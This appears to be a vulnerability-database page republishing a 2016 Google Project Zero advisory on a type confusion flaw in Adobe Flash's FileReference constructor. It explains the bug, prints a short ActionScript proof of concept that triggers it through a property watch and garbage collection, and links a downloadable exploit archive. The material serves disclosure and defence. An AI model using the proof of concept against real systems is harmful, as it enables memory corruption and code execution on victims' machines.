Lucene search
K

Adobe Flash - Type Confusion in FileReference Constructor

🗓️ 17 May 2016 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 34 Views

Adobe Flash Type Confusion in FileReference Constructor, Code Executio

Related
Code
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799
 
There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.
 
A minimal PoC is as follows:
 
function myfunc(){
             
            this.__proto__ = {};
            this.__proto__.__constructor__ = flash.display.BitmapData;
            super(1000, 1000);
             
             
            }
             
 
    function mysubclass(){
         
 
        this.watch("name", myfunc);
        _global.ASnative(2204, 200)(this); // FileReference constructor
        this.unwatch("name"); // let the reference free
         
        }
    }
 
        var a = new subclass();
        a = 0;
        // wait for GC
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39829.zip

#  0day.today [2018-02-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 May 2016 00:00Current
8.7High risk
Vulners AI Score8.7
EPSS0.53066
34